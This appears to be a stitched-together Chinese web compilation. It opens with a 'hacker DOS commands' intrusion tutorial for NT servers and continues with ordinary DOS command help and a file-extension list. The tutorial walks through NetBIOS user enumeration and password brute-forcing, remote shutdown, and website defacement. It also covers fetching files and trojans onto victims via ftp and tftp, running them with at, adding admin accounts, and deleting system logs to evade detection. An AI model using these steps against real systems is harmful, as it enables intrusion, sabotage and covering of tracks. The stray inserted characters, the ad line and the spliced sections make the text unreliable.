USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。

7：nbtstat

如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！

现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大写哦。

下面是得到的结果。

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。

这里的用户是PENTIUMII。

8：Shutdown

关了对方的NT服务器的命令

Shutdown \\IP地址 t:20

20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。

9：DIR

这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10：echo

着名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把“反独裁，反一党制！”写入index.htm，有2种方法，大家看看有什么区别。

echo 反独裁，反一党制！>index.htm

echo 反独裁，反一党制！>>index.htm

第一个的意思是覆盖index.htm原有的内容，把“反独裁，反一党制！”写进index.htm。

第二个的意思是把“反独裁，反一党制！”加到index.htm里面。

“>>”产生的内容将追加进文件中，“>”则将原文件内容覆盖。

大家可以本地试下。

可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。

1、首先，我们需要申请一个免费的主页空间。

2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。）
open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的）
cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm）
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）

具体的做法：
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。）

等命令完成时，文件已经下载到你指定的文件里了。

注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。）

记得要 del c:\cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把“-”改为“+”则是把这个文件的属性设置为只读

----------------------

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。

NT的日志有这些

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。

黑客常用dos命令2
建立一个空连接
命令：net use \\192.168.0.198\ipc$ "" /user:"administrator"

查看远程主机的共享资源
命令：net view \\ip

查看远程主机的当前时间
命令： net time \\ip

得到远程主机的NetBIOS用户名列表（需要打开自己的NBT）
命令：nbtstat -A ip

删除连接:
net use \\127.0.0.1\ipc$ /del

映射/删除远程共享:
net use z: \\127.0.0.1\c

向远程主机复制文件:
路径\文件名 \\IP\共享目录名，如：
d:\3389.exe \\IP\c$ 即将d盘下的3389.exe复制到对方c盘内

把远程主机上的文件复制到自己的机器里：
\\127.0.0.1\c$\xinxin.exe c:\

远程添加计划任务:
at \\IP 时间 程序名 如：
at \\IP 11:00 3389.exe

1）查看本地主机的共享资源（可以看到本地的默认共享）
net share

2）得到本地主机的用户列表
net user

3）显示本地某用户的帐户信息
net user 帐户名

4）显示本地主机当前启动的服务
net start

5）启动/关闭本地服务
net start 服务名
net stop 服务名

6）在本地添加帐户
net user 帐户名 密码 /add

7）激活禁用的用户
net uesr 帐户名 /active:yes

8）加入管理员组
net localgroup administrators xuliguo /add

tftp -i 你的IP get **.exe c:\winnt\system32\**.exe

m溢出的对方SHELL后在DOS下上传木马
tftp -i 自已的IP get ***.exe
time
at \\对方的IP 时间 ***.exe

DOS命令大全
一）MD——建立子目录
1．功能：创建新的子目录
2．类型：内部命令
3．格式：MD[盘符：][路径名]〈子目录名〉
4．使用说明：
（1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器；
（2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。
例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。
C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX）
C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录）
（二）CD——改变当前目录
1．功能：显示当前目录
2．类型：内部命令
3．格式：CD[盘符：][路径名][子目录名]
4．使用说明：
（1）如果省略路径和子目录名则显示当前目录；
（2）如采用“CD、”格式，则退回到根目录；
（3）如采用“CD.。”格式则退回到上一级目录。
例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。
C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录）
C:、FOX、USER＞CD.。 （退回上一级根目录）
C：、FOX＞CD、 （返回到根目录）
C：、＞
（三）RD——删除子目录命令
1．功能：从指定的磁盘删除了目录。
2．类型：内部命令
3．格式：RD[盘符：][路径名][子目录名]
4．使用说明：
（1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身；
（2）不能删除根目录和当前目录。
例：要求把C盘FOX子目录下的USER子目录删除，操作如下：
第一步：先将USER子目录下的文件删空；
C、＞DEL C：、FOX、USER、*。*
第二步，删除USER子目录。
C、＞RD C：、FOX、USER
（四）DIR——显示磁盘目录命令
1．功能：显示磁盘目录的内容。
2．类型：内部命令
3．格式：DIR [盘符][路径][/P][/W]
4．
使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Press
any key to continue
/W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。
PATH——路径设置命令
1．功能：设备可执行文件的搜索路径，只对文件有效。
2．类型：内部命令
3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…}
4．使用说明：
（1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件；
（2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开；
（3）PATH命令有三种使用方法：
PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径）
PATH：（显示目前所设的路径）
（六）TREE——显示磁盘目录结构命令
1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。
2．类型：外部命令
3．格式：TREE[盘符：][/F][》PRN]
4．使用说明：
（1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件；
（2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。
（七）DELTREE——删除整个目录命令
1．功能：将整个目录及其下属子目录和文件删除。
2．类型：外部命令
3．格式：DELTREE[盘符：]〈路径名〉
4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！
五、磁盘操作类命令
（一）formAT——磁盘格式化命令
1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。
2．类型：外部命令
3．格式：formAT〈盘符：〉[/S][/4][/Q]
4．使用说明：
（1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST ！
Proceed with format (Y/N)？
（警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？）
（2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A;
and press ENTER when ready…
（在A驱中插入新盘，准备好后按回车键）。
（3）选用[/S]参数，将把DOS系统文件IO.SYS
、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘；
（4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘；
（5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。
（6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。
（二）UNformAT恢复格式化命令
1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。
2．类型：外部命令
3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST]
4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。
（1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。
（2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out will
be sent to LPT1”
（3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only”
（4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。
（5）选用/PSRTN；修复硬盘分区表。
若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。
注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。
三） CHKDSK——检查磁盘当前状态命令
1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。
2．类型：外部命令
3．格式：CHKDSK [盘符：][路径][文件名][/F][/V]
4．使用说明：
（1）选用[文件名]参数，则显示该文件占用磁盘的情况；
（2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误；
（3）选用[/V]参数，显示盘上的所有文件和路径。
（四）DISKCOPY——整盘复制命令
1．功能：复制格式和内容完全相同的软盘。
2．类型：外部命令
3．格式：DISKCOPY[盘符1：][盘符2：]
4．使用说明：
（1）如果目标软盘没有格式化，则复制时

⑺ 用dos命令同步windows操作系统时间问题

更改日期后，关机，断电，重启动。
如果BIOS里日期是正确的，那么主板没电的概率就不是很高。
此时要进入操作系统，看操作系统的日期设定是否正确，要第一时间观察。
如果进入操作系统后一段时间日期时间才变错，则要检查启动项，和注册表，有可能是某个程序引起的。

⑻ 在dos下怎么将一个文件夹下的所有文件的路径保存到一个txt格式的文件

大作用的，以下列举部分
扩展名的含义：
COM:系统命令文件，主要采用汇编语言编辑而成，二进制代码格式。其特点是非常短小
，长度一般不超过64KB。
EXE:系统可执行文件，多半采用编程语言（如常见的C、VC、VB、VF等）编译而成，
其长度没有什么限制。在Windows系统中的应用范围非常广泛，我们目前所使用的应用程
序基本上都是EXE文件。
BAT:批处理文件，主要由用户编辑而成，可包含多个不同的应用程序或命令。执行
后，系统会依次启动该批处理文件包含的所有命令，从而免去了用户逐条输入命令之苦
，简化了用户的操作。
DLL:动态链接库文件，主要负担着向其他应用程序提供运行所需的函数、参数、对
话框等信息（任何应用程序，包括用户自己编辑的程序都可以直接调用*.DLL动态链接库
），从而各应用程序设计者就不必再为诸如对话框设置、函数调用等问题而操心，既方
便了软件的设计，又减小了可执行文件的大小。
DRV:Windows 98的设备驱动程序，它为系统的绝大多数常规硬件设备（如鼠标、显
卡等）提供所需的软件支持。
SYS:系统扩展管理文件，主要为某些非标准设备（如USB）提供必要的硬件驱动程序
等。
INI:最常见的系统配置文件，在Windows 3.X时代，系统的一切软硬件配置信息都保
存在*.INI配置文件中。在Windows 95/98中，尽管注册表数据库已逐渐取代了INI文件的
作用，但部分应用程序依旧使用INI文件作为系统配置文件。需要提醒大家的是，INI文
件的容量有一定限制，它一般不能超过64KB，否则可能导致一些不可预料的错误。
PIF:系统配置文件中的一种，可根据实际情况对每个DOS应用程序在Windows下的
运行状况（如运行方式、屏幕大小、内存大小、显示字体等）加以调节，保证DOS程世祥逗序在
Windows中的正常运行。
LOG:日志文件。我们可使用包括记事本在内的任何文字处理软件对*.LOG文件进行
编辑处理，它是有关应用程序对自己的运行状况所作的记录，以便于用户查询相应程序
的运行状况（如我们在搜卖使用磁盘扫描程序SCANDISK时，系统即会自动在相应磁盘根目录
下生成一个宴腔磁盘扫描日志文件SCANDISK.LOG，我们可利用该文件对磁盘的运行状况进行
了解）。
REG:一种特殊格式的系统配置文件(注册表文件），可通过注册表编辑器将Windows
98注册表数据库中不可见的信息采用文本格式导出来，用户可直接通过记事本对其进行
编辑、修改，从而解决了对注册表数据库阅读管理比较困难的问题。双击编辑好的*.REG
文件，可将文件中的内容重新导入到注册表数据库中，从而达到间接修改注册表数据库
的目的。
CFG:部分应用软件自己配置的文件，保存着软件运行的有关状况。
ICO:图标文件。
SWP:系统交换文件（WIN386.SWP），用于Windows 98采取的虚拟交换文件技术。即
虚拟内存。
LNK:快捷方式文件，由应用程序的实际路径、启动目录、运行参数等内容所构成
，我们只需右击相应的快捷方式（凡是在图标中显示了一个小箭头的就是快捷方式），
然后从弹出的快捷菜单中执行“属性”命令就能对快捷方式指定的内容进行修改。
HLP:帮助文件。无论是DOS应用程序，还是Windows应用程序，其帮助系统一般都采
用HLP格式。Windows 98又新增了一种采用HTML格式的*.CHM帮助文件，它较之老式的*.H
LP帮助文件更直观、更具说服力。Windows 95不支持CHM格式。
CLP:使用剪贴板查看程序将剪贴板中的内容保存下来之后生成的文件。
FND:Windows 98的查找功能所保存的查找记录文件，我们只需双击该文件即可快
速按照上次的保存条件进行查找，使用非常方便。
CHK:当我们使用CHKDSK或SCANDISK对磁盘进行扫描时，若发现丢失的簇，系统就
会将它们转换为*.CHK临时文件保存到相应硬盘分区的根目录中，这些文件一般没有多大
使用价值，用户可在确认无用的基础上将它们删除。
TXT:纯文本格式。在不同操作系统之间可以通用，兼容于不同的文字处理软件。因
无文件头，不易被病毒感染。
DOC:由文字处理软件WORD生成的文档格式，表现力强、操作简便。不过Word文档向
下的兼容性不太好，用高版本Word编辑的文档无法在低版本中打开，在一定程度上影响
了用户的使用。
WPS:由国产文字处理软件WPS生成的文档格式，老版本的WPS所生成的*.WPS文件实际
上只是一个添加了1024字节控制符的文本文件，它只能处理文字信息。而WPS 97/2000所
生成的*.WPS文件则在文档中添加了图文混排的功能，大大扩展了文档的应用范围。值得
一提的是，WPS向下的兼容性较好，即使是采用WPS 2000编辑的文档，只要没有在其中插
入图片，仍然可以在DOS下的老版本WPS中打开。
除了正常的文档之外，Word和WPS都还提供了专门的模板文件。所谓模板文件，就是
相应文本文件的样本，它规定了有关字体、字号、样式、格式等内容，此后用户所生成
的文档文件就会自动按照模板文件的格式进行设置，简化了用户逐一对文档进行设置的
步骤。Word模板文件的扩展名为DOT ，WPS模板文件的扩展名为WPT。
RTF:一种通用的文字处理格式，几乎所有的文字处理软件都能正确地对其进行存取
操作。
WRI:一个非常流行的文档文件格式，它是Windows自带的写字板程序所生成的文档
文件。
XLS:Excel电子表格文件。
PPTowerpoint演示文稿。
MDB:Access数据库文档。
PST:Outlook97个人资料夹文档。
ASC:ASCII码文件。
BMP:Windows所使用的基本位图格式，由一组点（像素）组成，幅度大小、颜色
数量等都没有太大的限制，表现力非常强，不存在失真，因而深受广大用户的欢迎。由
于应用环境的差别，*.BMP文件存在着Windows位图、图标、OS/2位图等几种不同格式。
特点：文件比较大
GIF:一种应用非常广泛的图像文件（特别是在Internet网页中），它最大的特点是
支持任意大小的图片、提供了压缩功能、可将多幅图画保存在一个文件中（它是唯一可
存储动画的图形文件GIF89A格式）、最大图像为64000×64000分辨率。特点：颜色数只
有256，文件小
JPG:具有较高压缩比的图形文件，（一张1000K的BMP文件压缩成JPG格式之后可能只
有20～30KB），在压缩过程中的失真程度很小，目前使用范围广泛（特别是Internet网
页中）。特点：文件小，颜色数和分辨率高
PSDHOTOSHOP格式，是ADOBE公司开发的图像处理软件PHOTOSHOP中自建的标准文件
格式。
TIF/TIFF:Als开发的跨平台的压缩位图格式，主要用于扫描仪和桌面出版业。
3DS:3D Studio文件格式，由3d Max Studio 编辑。
WMF:该文件是根据位图和矢量图混合而成的图形文件，它最大的特点是可以实现无
极变倍（无论扩大或缩小多少倍都不会产生锯齿），因而在文字处理等领域应用非常广
泛。
PCXCX格式，PCX格式是ZSOFT公司在开发图像处理软件Paintbrush时开发的一种格
式，存储格式从1位到24位。它是经过压缩的格式，占用磁盘空间较少。该格式出现的时
间较长，并且具有压缩及全彩色的能力，所以PCX格式现在仍十分流行。
PSPaint Shop Pro生成的图像格式。
PNGortable Network Graphics，可支持48位色彩，无损压缩，可高速交替显示，
是Jpeg的升级替代。
MPEG／MPG:采用MPEG方式压缩的视频文件。MPEG（Motion Picture Experts Group
）是目前最常见的视频压缩方式，它采用中间帧的压缩技术，可对包括声音在内的移动
图象以1:100的比率进行压缩，并且它还支持1024×768的分辨率、CD音质播放、每秒30
帧的播放速度等优秀功能（我们通常所看的VCD绝大多数都是采用该种格式）。另外，除
*.MPEG和*.MPG之外，部分采用MPEG格式压缩的视频文件还以DAT为扩展名，对于这些文
件，用户应注意不要与同名的*.DAT数据文件相混淆。
QTM:即Quick Time，它最初是苹果机上使用的一种视频文件格式，而后进行了扩充
，同时支持Macintosh和PC机，现已成为Internet及个人计算机上的标准视频格式之一。
AVI:对视频文件采用的一种有损压缩方式，该方式的压缩率较高，并可将音频和视
频混合到一起使用，因此尽管画面质量不是太好，但其应用范围仍然非常广泛。支持256
色和RLE压缩。
RM/RA:RealVideo／RealAudio文件，Real Networks公司所制定的音频视频压缩规
范称为Real-Media，是目前在Internet上相当流行的跨平台的客户/服务器结构多媒体应
用标准，它采用音频/视频流和同步回放技术来实现在Intranet上全带宽地提供最优质的
多媒体，同时也能够在Internet上以28.8Kbps的传输速率提供立体声和连续视频。RealM
edia包括三类文件:RealAudio、RealVideo及RealFlash，RealAudio用来传输接近CD音质
的音频数据，RealVideo用来传输连续视频数据，而RealFlash则是RealNetworks公司与M
acromedia公司新近合作推出的一种高压缩比的动画格式。
MOV:一种从苹果机移植到PC机的视频文件，采用了有损压缩方式，效果较AVI格式要
稍微好一些。
DAT:常见的vcd、CD光盘的存储文件格式。
WAV:最常见的声音文件之一，是微软公司专门为Windows开发的一种标准数字音频
文件（又称波形文件），该文件能记录各种单声道或立体声的声音信息，并能保证声音
不失真。但WAV文件有一个致命的缺点，就是它所占用的磁盘空间太大（每分钟的音乐大
约需要12兆磁盘空间）。
MID/MIDI:国际MIDI协会开发的乐器数字接口文件，它采用数字方式对乐器所奏出来
的声音进行记录（每个音符记录为一个数字），然后在播放时再对这些记录进行合成，
因而占用的磁盘空间非常小，但其效果相对来说要差一些。一般来说，MID文件只适合于
记录乐曲，而不适合对歌曲进行处理。MID文件主要依靠硬件生成，依靠软件合成MID文
件的技术目前还不太完善。除正常的MID文件之外，它还有很多变种，如*.RMI、*.CMI、
*.CMF等。
MP3:目前最热门的音乐文件，采用MPEG Layer 3标准对WAVE音频文件进行压缩而成
，其特点是能以较小的比特率、较大的压缩率达到近乎完美的CD音质（其压缩率可达1:1
2左右，每分钟CD音乐大约只需要1兆的磁盘空间）。正是基于这些优点，我们可先将CD
上的音轨以WAV文件的形式抓取到硬盘上，然后再将WAV文件压缩成MP3文件，既可以从容
欣赏音乐又可以减少光驱磨损。
CDA:CD音轨文件。
CMF:Creative公司开发的一种声音文件，类似MIDI。
M3U:MP3播放文件列表。
RMF: MIDI的变通格式。
RMI: MIDI乐器序列。
WMA:Windows Media Rights Manager，此格式采用加密算法可以保护唱片的版权，
Media Player可以播放。
HTM/HTML:超文本标识语言生成的网页文件。
DHTML:由动态超文本语言生成的动态网页。
ASP:Active Script Page，可在NT或WIN2000上用Active script编写网页程序。
CGI:公共网关接口程序，可以用Perl、C、VB、JAVA等编写。
WAB:Outlook Express 的通讯录文件，广大用户只需将这些通讯录文件备份下来，
即可实现备份Outlook Express通讯录的目的。
VRML:虚拟现实描述语言。
URL:保存在系统“收藏夹”中的网址信息，用户在重装系统之前，只需将Windows
98安装文件夹“Favorites”子文件夹下的*.URL全部备份下来，即可达到备份“收藏夹
”的目的。
ZIP:目前最流行的压缩文件格式（在Internet上，ZIP文件已经取得了绝对胜利。
在日常操作中，除专门的压缩软件之外，许多文件管理程序，如Windows Commander等也
都支持ZIP格式）。我们可利用它对ZIP文件进行解压、释放等操作，还可以用它来处理A
RJ、ARC、CAB、LZH等多种不同格式的压缩文件，从而大大地方便了用户的操作。
ARJ:由DOS下曾经红极一时的压缩软件ARJ压缩而成的文件格式，它具有功能强大、
压缩率高等优点。在Windows 98时代，尽管它已经没有了往日的辉煌，但应用范围仍然
非常广泛，我们可使用WinARJ、WinZip等软件对其进行解压;*.JAR是文件ARJ作者研制的
另外一种超强压缩格式，其压缩率比ARJ更高，不过两者的压缩格式并不兼容，我们只能
使用JAR或WinJAR释放*.JAR压缩包;*.RAR文件则是由DOS下唯一采用图形界面的压缩软件
RAR压缩而成的，其方便的图形化操作和极高的压缩率使得RAR一经推出就吸引了无数用
户的青睐，不过与ARJ等压缩格式一样，它们始终没能战胜ZIP而成为Windows的主流，由
于WinZip不支持该压缩格式，因此我们只能使用RAR或WinRAR对其进行解压。
CAB:是Windows 98新增的一种特殊压缩文件格式，主要用于对有关软件安装盘中的
文件进行压缩，其特点是压缩率非常高（可能是目前最高的），但一经压缩就不能再进
行任何增加、删除、替换等修改，也就是说它的压缩包具有“只读”属性。Windows 98
本身就支持直接释放CAB压缩包中的内容（Windows 95不支持），我们也可使用WinZip对
CAB压缩包进行操作。
*._:软件安装盘所采用的另一种压缩文件方式，如*.ex_、*.dl_、*.d3_等，它们一
般由系统直接解压并完成安装工作，无需用户操心。当然，我们也可使用DOS的EXPAND命
令对*.??_文件进行释放操作。
TTF： 在Windows 98中，系统使用得最多的就是*.TTF（True Type）轮廓字库文件
，它既能显示也能打印，并且支持无极变倍，在任何情况下都不会出现锯齿问题。而*.F
OT则是与*.TTF文件对应的字体资源文件，它是TTF字体文件的资源指针，指明了系统所
使用的TTF文件的具体位置，而不用必须指定到FONTS文件夹中。*.FNT（矢量字库）和*.
FON（显示字库）的应用范围都比较广泛。另外，那些使用过老版本的WPS的用户可能对*
.PS文件还有一定的印象，*.PS实际上是DOS下轮廓字库的一种形式，其性能与*.TTF基本
类似，采用某些特殊方法之后，我们甚至还可以实现在Windows中直接使用这些*.PS字库
（*.PS1、*.PS2都是PS字库）。
DAT:多种应用程序都将自己的数据文件以该扩展名保存到硬盘上，它们一般都是由
系统直接进行调用，用户不能采用手工对其进行编辑、修改。
DBFbase、FoxBase、Foxpro、Clipper数据库文件。
RES:Windows资源文件。
SAV:存盘文件。
PDF:一种非常流行的文档文件，它的最大特点就是无论在什么操作系统下都能正确
显示。鉴于PDF文件的这一独特优点，许多电子书籍、政府文书等内容都采用了PDF格式
。Adobe Acrobat Reader是一个查看、阅读和打印PDF文件的最佳工具。
WDL:华康科技推出的可携式文件技术，解决了电子文件传送、使用过程中由于计算
机平台、语种、应用软件、字库的不同所造成的种种困难（如看到乱码、文件不能原貌
再现等）。以该种格式保存的图书后缀名为*.WDL，必须用专门的阅读器才能阅读。
BAK:备份文件。系统受损时，利用*.BAK备份文件可进行恢复（将备份文件的扩展
名修改为相应应用程序的默认文件扩展名即可）。另外，部分应用程序也喜欢将OLD作为
备份文件的扩展名。Word备份文件的扩展名有些特殊，它采用的是*.WBK，我们只需双击
*.WBK文件即可直接调用Word对备份文件进行编辑。而Excel备份文件的扩展名则是XLK，
我们同样只需双击*. XLK文件即可直接调用Excel对备份文件进行编辑。
TMP:最常见的临时文件。绝大多数应用程序的临时文件都是以TMP为扩展名，它们在
退出时一般都会自动删除，不过当系统因停电、死机等原因非正常退出时，应用程序就
无法自动删除这些临时文件了。TMP临时文件一般没有多大使用价值，它们大多保存在系
统设置的TMP或TEMP临时文件目录中，我们可直接将它们删除。
另外,站长团上有产品团购,便宜有保证

⑼ windows常用的DOS命令

DOS常用命令详解
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录。
拷贝文件 disk 复制磁盘 del 删除文件 format 格式化磁盘。
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名。
more 分屏显示 type 显示文件内容 rd 删除目录。
sys 制作DOS系统盘。
ren 改变文件名 x 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性。
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理。
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理。
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间。
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘。
不常用DOS命令
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表，呵呵，这个当然是人人要知道的。
可以使用通配符（? 和 *），？表通配一个字符，*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏，请按键盘上的任意键。
/w
以宽格式显示列表，在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt，包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用，则 attrib 会显示当前目录中所有文件的属性。
+r 设置只读属性。
-r 清除只读属性。
+a 设置存档文件属性。
-a 清除存档文件属性。
+s 设置系统属性。
-s 清除系统属性。
+h 设置隐藏属性。
-h 清除隐藏属性。
三、Cls
清除显示在命令提示符窗口中的所有信息，并返回空窗口，即“清屏”
四、Exit
退出当前命令解释程序并返回到系统。
五、format
格式化
/q 执行快速格式化。删除以前已格式化卷的文件表和根目录，但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all 显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg，后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面，但可以使用“网络连接”查看和更新 IP 地址。要做到这一点，请打开 网络连接，右键单击某一网络连接，单击“状态”，然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、md 创建目录或子目录
八、Move 将一个或多个文件从一个目录移动到指定的目录。
九、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress 显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。
